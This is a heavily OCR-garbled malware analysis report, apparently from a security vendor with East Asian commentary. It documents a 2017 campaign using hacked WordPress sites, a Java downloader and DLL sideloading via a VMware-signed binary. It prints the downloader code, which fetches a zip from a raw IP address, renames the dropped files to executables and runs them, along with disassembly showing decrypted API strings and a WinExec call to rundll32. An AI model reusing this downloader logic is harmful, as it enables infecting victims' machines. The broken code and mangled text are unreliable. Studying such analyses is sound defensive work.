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GET /wp=content/themes/blessing/@88329@4.php HTTP/1.1

Accept: text/html, application/xhtmlsxml, #/%

Accept-Language: en-US

User=Agent: Mozilla/5.8 (compatible; MSIE 9.8:; Windows NT 6.1: Win64: x64; Trident/5.0)
UA—CPL: AMDG4

Accept-Encoding: gzip, deflate

Host: priestsforscotland.org.uk

Connection: Keep—-Alive

HTTP/1.1 208 OK

Date: Fri, 15 Sep 2017 @7:59:08 GMT
Server: Apache

Keep-Alive: timeout=5, max=188
Connection: Keep-Alive
TransTer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

3b

=script=
location.href="https://goo.ql/TKpES2";

=</script=
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GET /wp/wp-content/themes/zerif-11ite/97463986989837214092129. rar HTTP/1.1

Accept: text/html, application/xhtml+xml, =*/#

Accept-Language: en-US

User-Agent: Mozilla/5.@ (compatible; MSIE 9.@; Windows NT 6.1; WinG64; x64; Trident/5.@)
UA-CPU: AMDGE4

Accept-Encoding: gzip, deftlate

Host: thirdculture.twv

Connection: Keep-Alive

HTTP/1.1 288 0K

Date: Fri, 15 Sep 2017 @7:51:35 GMT
Content-Type: application/x-rar-compressed
Content-=Length: 7238

Connection: keep-alive

Last—Modified: Fri, 15 Sep 2017 @0:30:26 GMT
Accept-Ranges: bytes

Server: Apache
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4T Java 1£H5
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public static void WEER(String[] argv)
{
try

{
InetAddress addr = InetAddress.getlocalHost();

String eutbmtavala = "C:%\Users\\Public\\";
String esusoumaisummaloqueiro = "Administrator”;

eutbmtavala = euwtbmtavala + eeusoumaisummalogueiro;

File mariacredit = new File(eutbmtavala);
if (Imariascredit.exists()})
{
File dir = new File(eutbmtavala);
dir.mkdir();
String sariemariodosgagos = eutbmtavala + "%\" + "c" + "a" + "r" + "." &+ "d"
File eita = new File(sariemariodosgagos);
FileWriter beijafrlos = new FileWriter(eita.getAbsoluteFile());
BufferedWriter avisandoosamigos = new BufferedWriter(beljafrlos);
for (int i = &; 1 < 58; i++) {
System.out.print{Math.random(} + = =};
¥

String caraideaza = Math.random();

+ "a" 4+ "E";

avisandoosamigos.write(caraideaza);
avisandoosamigos.close();

viajandopramatogrossol"wttp: //184.236.211.243/14089/pz . 2ip", eutbmtavala + "‘\\teste.zip");

String zipFile = “C:y\\Usersi\\Public\’\Administrator\\teste.zip”;
String pastebestino = “C:y\Usersi\Publici\\Administratoriy";

File file = mew File(pastabDestino};

if (!file.exists()) {
file.mkdirs();

}

&E—#, Java KBS E®B THNZHSFIXM, HPUT vmpng (ZBIEE®HR)

new Flled=C:\VilUsers\WPublic\vddnlnistrator vem. prg™ ). renaseTol e File( =0 Vilsers'\Publicyiddaindstratoryy" « COFGlOSEZE + “." = “e® + “x" = "2}z
File £ = miwt File(“C:viUsers v PublicAdainistrator\baste.2ip™);

f.ooeletel);

new File{=C:\Vilzersi\\Public\iddninistratoryigbs . png™ ) renemeTo(mew Filel"C:uiUsersiPublicigmind skratoryh” + CBrBIGenzE + ~." = "gd" + “r* + “w"}};
new Pile{"CvilsersiyyPublicviddainistratoryviprs.png™ ) renameTolmew Filed " viUsersy\Publicviigmini stratori\” + Corploenzd + ~." = "d” + "b")};

byte[] dats = Runtime. getRuntime().swscl"CrvilsersyPubldeyAdninlstrataryy” + CAPSIOESEE + "." + "a” + "=" + "a"];

B IR
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» Protects software from alteration after publication

[vMware, tne.

|H-:-‘. available

= Refer to the certification authority's statement for details ; | 14 Auguest 2015 23:03:10

Issued toc  VMware, Inc, View Certificate

Issued by: VeriSign Class 3 Code Signing 2010 CA atures

SO Emnaill address: Timestamp
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Vmwarebase.dll X3 B EIZ4F prs.png KESEN explorer.exe 3% notepad.exe FZ2FHMIT,
BABRTFEAERSIME. FARBIETEHEZESRPECAFFER LoadLibrary() Nk
gbs.png EERMITHY. BT INE (AES) JBiE API BIEH -

edx, [ebp+uar 1C]

eax, offset alSbaSjoilth?mf ; “"mSba+5j0i1tH7HFF7neiMunHl25=""
DecryptString

eax, [ebp+uvar_ 1C]

sub 4B9EF4

eax : 1pProcHame

edx, [ebp+var_20]

eax, offset afif3gnijeew8xu ; "0iF3gn1jEEwS8XUGETzBES15nkPY=""
DecryptString

eax, [ebp+var_ 28]

sub_ 4B9EF4

eax : 1lpHModuleName

GetModuleHandlel B

Pax ; hModule

sub 11708

[ebp+lp5tartAddress], eax

eax, [ebp+nSize]

eax, eax

short loc 6Z27BCH

=z |/, mbba+5jOiltH7Mff7TneiMumHI2s= 5% R% T LoadLibraryA, T
QiF3gn1EEw8XUGBTz0B5i5nkPY= NZE[, T kernel32.dll
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RERMITH Z—BUESZEM rundli32.exe KNITRE—DZHHICH: gps.png (ZRIE
B .drvifRBEGH) :

push offset alWindowsSystem ; "C:'\\WINDOWS‘\\system32\Rundll32.exe C:"...
lea edx, [ebptuCmdShow]

mov eax, ds:dword 14CEGAG

mov eax, [eax+d38h]

call sub 12ABDFE
push [ebptuCmdShow] ; uCmdShow
push offset drv

lea eax, [ebptvar_8]
mow edwx, 3

call sub 1174324

mov edx, [ebp+var 8]
lea eax, [ebptvar 4]
Mo ecx, @

call sub 1179DC4

mov eax, [ebptvar_4]
call sub 1179034

push eax 3 lpCmdLine
call WinExec
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